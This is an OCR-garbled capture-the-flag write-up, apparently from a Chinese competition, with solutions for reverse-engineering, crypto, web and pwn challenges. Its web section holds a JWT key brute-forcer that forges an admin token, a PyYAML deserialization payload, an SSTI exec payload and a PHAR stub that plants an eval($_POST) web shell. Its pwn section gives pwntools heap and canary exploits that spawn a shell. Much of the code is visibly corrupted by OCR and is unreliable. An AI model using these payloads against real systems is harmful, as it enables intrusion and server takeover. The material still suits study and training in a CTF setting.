12 OxBE, 0x39, Ox4A, 0x4C, 0x58, OxCF, 0xDO, OXEF, OxAA, OxFB,
13 Ox43, 0x4D, Ox33, Ox85, 0x45, OxF9, Ox02, Ox7F, Ox50, Ox3C,
14 Ox9F, OxA8, Ox51, OxA3, O0x40, Ox8F, O0x92, Ox9D, 0x38, OxF5,
15 OxBC, OxB6, OxDA, 0x21, 0x10, OxFF, OxF3, O0xD2, 0xCD, 0x0C,
16 0x13, OxEC, Ox5F, Ox97, 0x44, Ox17, 0xC4, OxA7, OxT7TE, Ox3D,
17 Ox64, Ox5D, Ox19, Ox73, Ox60, O0x81, Ox4F, OxDC, Ox22, Ox2A,

18 0x90, 0x88, 0x46, OXEE, OxB8, Ox14, OXDE, OX5E, OXOB, OXDB,



19 OXE@, 0x32, Ox3A, OxO0A, 0x49, 0x06, 0x24, Ox5C, OxC2, OxD3,

20 OXAC, 0x62, Ox91, O0x95, OxE4, Ox79, OxE7, OxC8, 0x37, 0Ox6D,
21 ox8D, OxD5, Ox4E, OxA9, 0x6C, Ox56, OxF4, OXEA, Ox65, OxTA,
22 OXAE, Ox08, OxBA, 0x78, 0x25, Ox2E, O0x1C, OxA6, OxB4, 0OxC6,
23 OxE8, OxDD, Ox74, Ox1lF, Ox4B, OxBD, Ox8B, Ox8A, Ox70, Ox3E,
24 OxB5, Ox66, 0x48, Ox03, OxF6, OxOE, Ox61, Ox35, Ox57, OxB9,
25 0x86, OxCl, Ox1D, Ox9E, OxEl, OxF8, 0x98, 0Ox11l, Ox69, OxD9,
26 Ox8E, Ox94, Ox9B, Ox1lE, Ox87, OxE9, OxCE, 0Ox55, 0x28, OxDF,
27 Ox8C, OxAl, Ox89, OxOD, OxBF, OxE6, 0x42, O0x68, O0x41l, 0Ox99,
28 Ox2D, OxOF, 0xBO, Ox54, OxBB, 0x16};

29 unsigned char byte_2020_inv[256];
30 #define __ROL__(x, n) (((x) << (n)) | ((x) >> (8 = (M)

31 __int6e4 __fastcall inverse(unsigned __int8 al)
32 {

33 unsigned __intlé v2; // [rsp+Eh] [rbp-6h]
34 unsigned __intl6 v3; // [rsp+10h] [rbp—4h]
35 unsigned __intl6 v4; // [rsp+12h] [rbp-2h]
36

37 if (lal)

38 return OLL;

39 v2 = 1;

40 v3 = 255;

41 v4 = al;

42 while (v3)

43 {

44 if ((v3 & 1) = 0)

45 v2 = v4 x v2 % 257,

46 V4 = v4 *x v4 % 25T7;

47 v3 >>= 1;

48 }

49 return v2;

50 }

51 void printHex(unsigned char *data, int len)

52 {

53 for (int i = 0; 1 < len; 1i++)

54 {

55 printf("%02X ", datal[i]);

56 }

57 printf("\n");

58 }

59

60 1dint main()

61 {

62 unsigned char s[] = {0x97, 0xd5, 0x60, 0x43, 0xb4, 0x10, 0x43, Ox73, OxOf,

Oxda, 0x43, Oxcd, Oxd3, Oxe8, 0x73, Ox4a, Ox94, Oxc3, Oxcd, Ox71l, Oxbd, Oxdc,
0x97, Oxla};
63



64 for (int i = 0; i < 2565 i++)

65 {

66 byte_2020_1inv[byte_2020[i]] = 1;

67 }

68

69 for (Aint i = 03 1 < 24; 1++)

70 {

71 s[i] = byte_2020_inv[s[i]];

72 s[i] = __ROL__(s[i], 2);

73 s[i] = dinverse(s[i]);

74 s[i] = (16 * ((11 * (s[i] >> 4)) & OxF)) | (13 * (s[i] & OxF)) & OxF;
75 s[i] = __ROL__(s[i]1, 5);

76 s[i] ~= 0Ox5A;

7 s[i] = __ROL__(s[i], (8 = (i % 7 + 1)));
78 }

79 printf("%s\n", s);

80 // Bl@stlng_ls_a_g0@od_Way!!

81 }

strangeapp
frida-dump 3%, RE—1AESHIZE

/* loaded from: F:\Share\classes.dex #/
public class MainActivity extends AppCompatActivity {
private static final byte[] TARGET = {118, 17, 7, 124, -99, 51, 23, -123, -78, 23, -53, 1, 42, 109, -77, 5, -87, 18, -77, 186, 78, 1880,

public static String a(String algo) {
if (algo == null || algo.isEmpty()) {
return algo;
¥
char first = alge.charAt(e);
char changed = (char) (first * 5);
return changed + algo.substring(l);
}

@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.a
protected void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

setContentView(R.layout.activity_main);

EditText inputText = (EditText) findViewById(R.id.inputText);

Button checkButton = (Button) findViewById(R.id.checkButton);

checkButton.setOnClickListener(new MainActivity$$ExternalSyntheticLambda®@(this, inputText));
}

/* renamed from: lambda$onCreate$0$com-swdd-strangeapp-MainActivity, reason: not valid java name */
/* synthetic =/ void mlé@lambda$onCreate$e$comswddstrangeappMainActivity(EditText inputText, View v) {
String input = inputText.getText().toString();
try {
byte[] encrypted = aa(input);
if (compareBytes(encrypted, TARGET)) {
showDialog("Good");
} else {
showDialog("NO");

}
} catch (Exception e) {
showDialog(" i % l: " + e.getMessage());

}
}

private byte[] aa(String input) throws Exception {
Hey secretMey = new SecretHeySpec("1234567891123456".getBytes(StandardCharsets.UTF_8), a("DES"))



Recipe ~ ol 3 Input + DOl e =

118 17 7 124 157 51 23 133 178 23 203 1 42 109 179 5 169 10 179 106 78 100 123 138 209 31 19

: ~ 1
EomPecinl © 56 115 151 245 218 238 184 12 42 17 55 135 212 119 215 87 118 95 180 172 69
Delimiter
Space I:I Support signed values
AES Decrypt ~0n
Key v
1234567891  UTF8~ 1234567891  UTF8~
Mode Input Output
CBC Raw Raw

rec 168 = 1 Tr Raw Bytes ¢ LF

Output B rD M

lflag{just_easy_strange_app_right?}

minigame

B EUNEIESedn)

PR /e 438 N 9. wxapkg

npm i wedecode -g, IBE#MEE

BHRKX#, index.jsiAvalidator.jsiAvalidator.wasm

v OUTPUT \ default
> _debug__
> @babel\ runtime\ helpers

Vv pages index
index.js
index.json
index.wxm|

Index.wxss

v utils

I JS validator,s

M validator.wasm



validator.wasm.idO
validator.wasm.id1
validator.wasm.nam

validator.wasm.til

{} app-config.json
JS app-service.js.map
IS appjs
{} app.json
app.Wxss
JS appservice.app.js.map
JS chunk_0.appservice.js.map
{} project.config.json

{} project.private.config.json

{} sitemap.json

R #FEWasmHH

(ASEES

1 data:00FF data_0: db OxFF, OxF5, OxF8, OXFE, OxE2, OxFF, OxF8, OxFC,
OxA9

2  data:0108 db OxFB, OXAB, OXAE, OxFA, OxAD, OXAC, OxA8, OxFA,
OxAE

3  data:0111 db ©xAB, 2 dup(©xAl), OXAF, OXAE, OxF8, OXAC, OXAF,
OXAE

4  data:011A db OxFC, OxAl, OxFA, 0xA8, 2 dup(OxFB), OxAD, OxFC,
OxAC

5 data:0123 db OxAA, OxE4

XERBERTT, FEFE0x99

(ASEEZS
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code:00C1 block ; L9

code:00C3 i32.1load8_u [Slocall+0Ox400]
code:00C9 i32.add $locall, $local2
code:00CE i32.1load8_s

code:00D1 i32.xo0r

code:00D2 local.tee S$param®
code:00D4 i32.const 0x99

code:00D7 i32.eq

code:00D8 local.set $local®

code: 00ODA i32.ne $param@, 0x99
code:00EO br_if 0 L9

code:00E2 i32.add $locall, 1
code:00E7 local.tee $locall
code:00E9 i32.const 0x26

code:00EB i32.ne

code:0OOEC br_-f 1 L8

code:00EE end ; L9

flag{faeOb27c451c728867a567e8c1lbb4e53}

Crypto

new_trick
ERFILAIGHIAR/NG KT AR

(ASEEZS

~N~ oo 0 W N K

oo

10

from hashlib import =

from Crypto.Cipher import AES

from Crypto.Util.Padding import pad
import math

# Public Parameters

p =
115792089237316195423570985008687907853269984665640564039457584007913129639747
Q_components = (123456789, 987654321, 135792468, 864297531)

R_components =
(53580504271939954579696282638160058429308301927753139543147605882574336327145,

79991318245209837622945719467562796951137605212294979976479199793453962090891,
53126869889181040587037210462276116096032594677560145306269148156034757160128,
97368024230306399859522783292246509699830254294649668434604971213496467857155)
encrypted_flag = b'(\xe4IJ\xfd4%\xcf\xad\xb4\x7fi\xae\xdbZux6-
\xf4\xd72\x14BB\x1le\xdc\xb7\xb7\xd1l\xad#e@\x17\x1f\x12\xc4\xe5\xa6\x10\x91\x08\
xd6\x87\x82H\x9e'
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57

class Quaternion:
def __init__(self, a, b, c, d):

self.p = p

self.a = a % self.p
self.b = b % self.p
self.c = ¢ % self.p
self.d = d % self.p

def __repr__(self):

return f"Q({self.a}, {self.b}, {self.c}, {self.d})"

def __mul__(self, other):

al, bl, cl, d1 = self.a, self.b, self.c, self.d
a2, b2, c2, d2 = other.a, other.b, other.c, other.d

a_new = al x a2 - bl x b2 -
b new = al *x b2 + bl * a2 +
c_new = al *x c2 - bl * d2 +
d_new = al x d2 + bl x c2 -

cl x c2 - dl * d2
cl x d2 - dl * c2
cl x a2 + dl * b2
cl * b2 + d1 x a2

return Quaternion(a_new, b_new, c_new, d_new)

def dinverse(self):

norm_sq = (self.a*x*x2 + self.bxx2 + self.cx*x2 + self.d**x2) % self.p

inv_norm_sq = pow(norm_sq, -1, self.p)
return Quaternion(
self.a * inv_norm_sq,
-self.b x inv_norm_sq,
-self.c * inv_norm_sq,
-self.d * dinv_norm_sq
)
def power (base_quat, exp):
res = Quaternion(l, 0, 0, 0)
base = base_quat
while exp > 0:
if exp % 2 == 1:
res = res * base
base = base * base
exp //= 2
return res
# --— Baby-step, Giant-step algorithm ---

def solve_quaternion_dlog(Q, R, N_bound):
m = math.ceil(math.isqrt(N_bound)) + 1

# Baby steps: compute Q*j for 0
baby_steps = {}

<= j <m
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current_power = Quaternion(l, 0, 0, 0)
for j in range(m):
baby_steps[repr (current_power)] = j
current_power = current_power * Q

# Giant steps: compute R * (Q*-m)"i for 0 <= i < m
Q_inv = Q.1inverse()
Q_inv_m = power(Q_inv, m)

giant_step_term = R

for i in range(m):
if repr(giant_step_term) in baby_steps:
j = baby_steps[repr(giant_step_term)]
secret_candidate = (i * m + j) % p # The %p 1isn't strictly
necessary as the secret is < 2750, but it's good practice
print(f"Found secret candidate: {secret_candidate}")

if power(Q, secret_candidate).a == R.a and power (Q,
secret_candidate).b == R.b and power(Q, secret_candidate).c == R.c and
power (Q, secret_candidate).d == R.d:

return secret_candidate

giant_step_term = giant_step_term * Q_inv_m

return None

# ——- Main script execution ---
print("Starting baby-step, giant-step calculation...")
Q = Quaternion(*Q_components)

R = Quaternion(*R_components)

# The bound for 'secret' is < 2%%x50

secret = solve_quaternion_dlog(Q, R, 2xx50)

if secret is not None:
print(f"Successfully recovered secret: {secret}'")

# Decrypt the flag

key = md5(str(secret).encode()) .hexdigest().encode()
cipher = AES.new(key=key, mode=AES.MODE_ECB)
decrypted_flag_padded = cipher.decrypt(encrypted_flag)

# Unpad and print the flag
try:
# For simplicity in this CTF context, we'll try to unpad
unpadded_flag =
decrypted_flag_padded.rstrip(b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b
\x0c\x0d\x0e\x0f\x10")



e print(f"Flag: {unpadded_flag.decode()}")

101 except Exception as e:

102 print(f"Failed to unpad or decode the flag: {e}")
103 print(f"Padded result: {decrypted_flag_padded}")
104

105 else:

106 print("Could not find the secret.")

107  #flag{ef9b2a64b3eadll5a48ee0b842dc19ed}

Web

ez_python
HAE R E/auth

D:\Program Files\one—fox\gui_scan\dirsearch\dirsearch.py:35: DeprecationWarning: pkg_resources is deprecated as an API.
See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict

Extensions: php, aspx, jsp, html, js HTTP method: GET | Threads: 25 | Wordlist size: 11714

Output File: D:\Program Files\one-fox\gui_scan\dirsearch\reports\http_web-el81aa2d78.challenge.xctf.org.cn_860\__25-09-08
_15-33-08.txt

Target: http://web-el8laa2d78.challenge.xctf.org.cn/

[15:33:08] Starting:

Task Completed

M adminfhiEtoken

3 C A F%2 web-e181aa2d78.challenge.xctf.org.cn B & u} 2 e

2 guest | Ro

YAML v

WX | REREEX

2 from File

iR [0 =E #He BREGAGE RE e AE B BRASR2 Llighthouse B HackBar BT @ i X
0@ tpy ® ViR SA%S v 1AEE: A1 @

> token="eyJhbGei0iJIUZI1Ni IsInR5cCI6TKpXVC]9. ey]1c2VybnFtZST6InFkb LuTiwicn9sZST6InFkbW LuTiwialFOT ). Ro37-GJrkwuXnvFUq472nKkC_wOu jUpgTVUCni4Nwi1”;

< " eyJhbGei0i JTUZI1Ni IsInR5cCIBTkpXVC]9. eyJ1c2VybmFtZSI6 InFkbWluliwicn9sZSI6ImFkbWluliw

37-GJrkwuXnvFUq4f2nKkC_wOu jUpgTVUCn

£ python EEHTT, ST hint



.3 c A F%% web-e181aa2d78.challenge xctf.org.cn B & in3 e

2 guest | Role: user

Python v

RS | 1.py

i [0 7= e BEREE RE M RE O UE  BlsRe Lighthouse B33 HackBar ©2/m1 & i

v

X

B Q@ tpvy ©® Vi BABE v 1 NEE: B

uXnvFUq4£2nKkC_wOu jUpgTVUCni4Nwil”;

KbWluTiw MzE3 03 VUC
x 400 (BAD REQUEST) (3D :56 @
ndbox 500 (INTERNAL SERVER ERROR) (33D :56 @

© »POST http://web-el181aa2d78. challen;
© »POST http://web-e181aa2d78. challenge. xctf. org. c

5 2 1@ 2 R
(AGEES
1 dmport jwt
2  dmport string
3 dimport -dtertools
4
5 token =

"eyJhbGci0iJIUzI1INiIsINR5cCI6IkpXVCI9.eyJ1lc2VybmFtZSI6Imd1ZXNOIiwicm9sZSI6InVzZ
XIifQ.karYCKLm5IhtINWMSZkSelnYvrhyg5TgsrEm7VR1DOE"

6 key_prefix = "@o70x0$0%#qRI#"

7 chars = string.ascii_letters + string.digits

8

9 for a, b in ditertools.product(chars, repeat=2):

10 key = key_prefix + a + b

11 try:

12 payload = jwt.decode(token, key, algorithms=["HS256"])

13 print (f"[l4 Found valid key: {key}")

14 print(f"Payload: {payload}")

15 forged = jwt.encode({"username': "admin'", "role'": "admin"}, key,
algorithm="HS256")

16 print(f" 2 Forged admin token: {forged}")

17 break

18 except jwt.InvalidSignatureError:

19 continue

20 except Exception as e:

21 continue

22 else:

23 print (") No valid key found.")



24 LI B |
25 [ Found valid key: @o70x0$0%#qR9#mO
26 Payload: {'username': 'guest', 'role': 'user'}

27 P Forged admin token:
eyJhbGci0i1JIUzIINTISINR5cCI6IkpXVCI9.eyJlc2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbW

TuIno.-Ws9e4GwalOhesqjmSuOKNmyximBStder-7VnXKow70
28 rra

F Ayaml BV Egetshell

[ SoEkE (CTF 2 H payload)
@ §3d PyYAML < 5.3.18 load iR

yaml| © =4
# exploit.yaml
Ilpython/object/apply:subprocess.check output
- ['cat', "/flag']
ARSS I S INE -
Python D =4

import yaml, sys
print(yaml.load(sys.stdin, Loader=yaml.Loader))

ADIR

1 # exploit.yaml
2 !''python/object/apply:subprocess.check_output
3 - ['cat', '/fllllag']



& C A F%e web-e181aa2d78.challenge.xctf.org.cn
2 guest | Role: user
YAML v~
1.yam|
iR [0 =& 29l BRESEE RE HE wE A BhsRe Lighthouse  iERg% HackBar

M@ tpvy © YidiE

> token
< eyJhbGei0iJTUZT1INi TsInR5cCI6TkpXVC]9. eyJlc2yV
xctf. org, cn/sandbox 403 (FORBIDDEN)

mF tZS16Imd1ZXNOTiwicm9sZSI6InVzZX1ifQ. karYCKLm5Tht INWMSZKkSe InYvrhyg5TgsrEm7VR1DOE”

© »POST http://web-el81aa2d78. challen;
TVnXKOWT0”;

v JhbGei01JIUZTINi IsInR6eCI6TkpXVC]9. ey]lc:

ybmFtZST6 ImFkbWluTliwicm9sZSI6ImFkbWluIn0. ~Ws9edGwalOhesq jmSuOKNmyximBStd

c10i JIUzIINiIsInR5cCI6TkpXVC]9. eyJ1c2Vyb: SI6ImFkbW1uTliwicm9sZSI6ImFkbWluIn0. -Ws9e4GwalOhesq jmSuOKNmyximBStder—7V

ssti
goIBS Mssti, base644mia—TFHITRLLF

3 C A F%£ web-95efb105ae.challenge.xctf.org.cn

Engine

Your Template:

{{ exec (B64Decode "Y2F0IC9mbGFn") }}

4

Execute Template

Result:

flag{LgBa00hTZwdi681lbmjmYR1plkfKoCMxX}

easy_readfile
REMKE, FaefEABZM—MET, REAXMEKEAXHIAG include

(ASEEES

1  0:7:"Acheron":1:{s:4:"mode";s:1:"r";}
2 0:7:"Acheron":1:{s:4:"mode";s:1:"w";

A O O

Q1a1 &
BARS) v 1 ANIRE: B
(#3D :56 @
®rx O O

v

X

@3



SENEDeadsecCTF2025 baby-webA] UAMXBEAILUHITXHE SN, BSHWENERLHT 4D
Erce,

(RN

1 <?php

2  S$phar = new Phar('exp.phar');

3  $phar->startBuffering();

4

5 $stub = <<<'STUB'

6 <?php

7 system('echo \'<?php eval($_POST["code"]);\" >/var/www/html/shell.php');
8 __HALT_COMPILER();

9 7>
10  STUB;
11
12 $$phar->setStub($$stub);
13  S$phar->addFromString('test.txt', 'test');
14  S$phar->stopBuffering();
15 7>

£%£)025-n1ctf-junior-web-backupal LR

(ASEEZS

l echo IIII>II_HII;
2 1ln -s /flag ff;

Z+JL#E cat ./backup/f* FHETLUEENEI flag

Pwn

ood_canary


https://fushuling.com/index.php/2025/07/30/%e5%bd%93include%e9%82%82%e9%80%85phar-deadsecctf2025-baby-web/
https://j1rry-learn.github.io/posts/2025-n1ctf-junior-web-%E6%96%B9%E5%90%91%E5%85%A8%E8%A7%A3/#backup

1 I_i nte4 before_main()

2 {
3  __inted result; // rax
4

® 5 strcpy(name, “"ctfer");

® 6 sprintf(bss, "Don't always trust the canary.");

® 7 result = 8LL;

® 3 _ writefsqword(@x28u, @LL);

® 9 return result;

® 18 }

7Ebefore_main/,fs:[0x30]BIBEIE 0

i EEEE M canary

v2 = _ readfsqword(@x28u);

memset(buf, @, sizeof(buf));

printf("I will tell you good news,%s \n", name);
puts("but you must tell me your name first:");
¥((_BYTE *)buf + (int)read(®, buf, @x28ulL)) = '\n';

*(_ Ol v pugog

rncpy(name, (const char *)buf, ex2eulLlL);
intf("Great, the good news is that I know your real name,%s\n", (const char *)buf)g

return __ el

fEgood_newk E R, AT LUEE K namefbss T &%, M printfAr i H putsAyint Sl libe
BEEVUINE, B LUGH8F 17, R Bl &t Ssone_gadgetBl A getshell

ARG ER

1 from pwn +dimport *

2 r=remote(...)

3  libc=ELF('./libc.so0.6'")

4  def choice(chocie):

5 s.sendafter (b"Choose (good/vuln/exit): ",choice)

6 r.sendafter(b"Choose (good/vuln/exit): ",b"good")

7 r.sendafter(b"but you must tell me your name first:",b'a'x0x21)
8 r.sendafter (b"Choose (good/vuln/exit): ",b"good")

9 r.recvuntil(b'a'*0x20)

=
(O}

libc_base=u64(io.recv(6).ljust(8,b"\x00"'))-Tlibc.sym.puts



11 r.sendafter(b"but you must tell me your name first:",b'a'*0x27)
12 print(hex(libc_base))

13 r.sendafter (b"Choose (good/vuln/exit): ", b"vuln")

14  one =baset+0xebc81

15 bss_addr=0x404a00

16  payload=b'exec'.ljust(0x30,b"'a")+p64 (bss)+p64(one)

17  r.send(payload)

18 r.interactive()

digital_bomb
$ ./pwn
Welcome to the Digital Bomb!

You will randomly generate a number from & to 188 as a bomb
and you will tak 'ns guessing the number with the computer. If you guess the bomb, you will lose the game.

set the range for the bomb (0-580):

): 218
B): 211

iter disarmed the bomb !

board
&
Your cholce >>

R ETIRA 121081211 7] UM EF I FAE BIR EIR R 5t

M2 create,delet,showHeditA] AL I
Createf7ZETEoffbynull,edit REEIAF —X, B R 8EECR0Xx10F TIHIEHE
B E1Elibc2.35FFEAoffbynull, B L EEheapithiit

P LUX R BYeditF AT R sEFc A leak _heap

(ASERES

1  add(9,0x500,p64(0)+p64(0x601))
2 add(0,0x4f0,b'a'=*8)

3 add(10,0x500,b'a'*8)

4  add(1,0x4f0,b'a'x8)

5 free(10)

6 free(9)

7 add(9,0x500,b'a'x4)

8 edit(9,b'a'x8)

9  show(9)



10  do.recvuntil(b'a'x8)
11  heap=ub4(io.recv(6)+b'\x00\x00")-0x290
12 print(f"heap==>{hex(heap)}")

13 free(0)
14 free(l)
15 free(9)

16 free(10)

REF( @ offbynullBiSHES, Mt B libcithit
IR AT LU SREpFHER AL, Tl | B Ap$5 libcRRYgot R
B FputsTELibcHRISEIN <A B strlen, B {15 strlen.gotgone_gagdetBI Al fEmenuigetshell

STEEEXP:

ARIGIR

1 from pwn dimport *

2  context.log_level = 'debug'

3

4 r = process('./pwn')

5

6 libc = ELF('./libc.so.6"')

7

8 def dbg():

9 gdb.attach(r)

10

11 def menu_sel(opt):

12 r.sendlineafter (b"Your choice >>", str(opt).encode())
13

14 r.sendlineafter(b"Enter min (0-500): ", b"100")

15 r.sendlineafter (b"Enter max (0-500): ", b"101")

16 r.sendlineafter(b"Your guess :", b"100")

17

18 def create(idx, sz, data):

19 menu_sel (1)
20 r.sendlineafter (b"Index >> \n", str(idx).encode())
21 r.sendlineafter (b"Size >> \n", str(sz).encode())
22 r.send(data)
23
24  def delet(didx):
25 menu_sel(2)
26 r.sendlineafter (b"Index >> \n", str(idx).encode())
27
28 def show(idx):
29 menu_sel(3)
30 r.sendlineafter (b"Index >> \n", str(idx).encode())



31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77

def edit(idx, data):
menu_sel (666)
r.sendlineafter(b"Index >> \n'", str(idx).encode())
r.send(data)

create(9,
create (0,

0x500, p64(0)+p64(0x601))
0x700, b'\n')

create(10, 0x500, b'\n')

create(1,

delet(10)
delet(9)

create(9,

0x600, b'\n')

0x500, b'111')

edit(9, b'q'*8)

show(9)

r.recvuntil(b'q'*8)

heapptr =

ubd(r.recv(6) + b'\x00\x00') - Ox290

print(f"heap==>{hex (heapptr)}")

delet(0)
delet (1)
delet(9)
delet(10)

create (0,
create(1,
create(2,
create(3,
create(4,
create(5,
create(6,
create(7,
create(8,
create(9,

delet (1)
create(1,

0x500, p64(0)+p64(0x601)+p64 (heapptr+0x2a0)*2)
0xf8, b'\n'")
Oxf8, b'\n')
0xf8, b'\n'")
0xf8, b'\n'")
0xf8, b'\n'")
Oxf8, b'\n')
0xf8, b'\n'")
0xf8, b'\n'")
0xfO, b'\n")

0xf8, b'\0'*0xfO+p64 (0x600))

for i in range(3, 10):
delet(d)

delet(2)
create(9,
show (1)

0x4f0, b'p'*8)

r.recvuntil(b'Show at index 1:\n')
base = u64(r.recv(6).ljust(8, b'\x00"')) - 0x2lace0



78
79
80
81
82
83
84
85
86
87
88
89
90
M|

delet(9)
create(8, Ox1f0, b'a'x8)
delet(8)
delet (1)

xorkey = heapptr >> 12
payload = b'0'x0x2f0 + p64(Ox510) + p64(0x201) + p64((lbase+Ox21A090) A xorkey)

create(3, 0x4f0, payload)
create(4, 0x1fo, b'\n')

create(5, Ox1f0, pl6(5)*0x40 + p64(lbase+Oxebc85))

r.interactive()



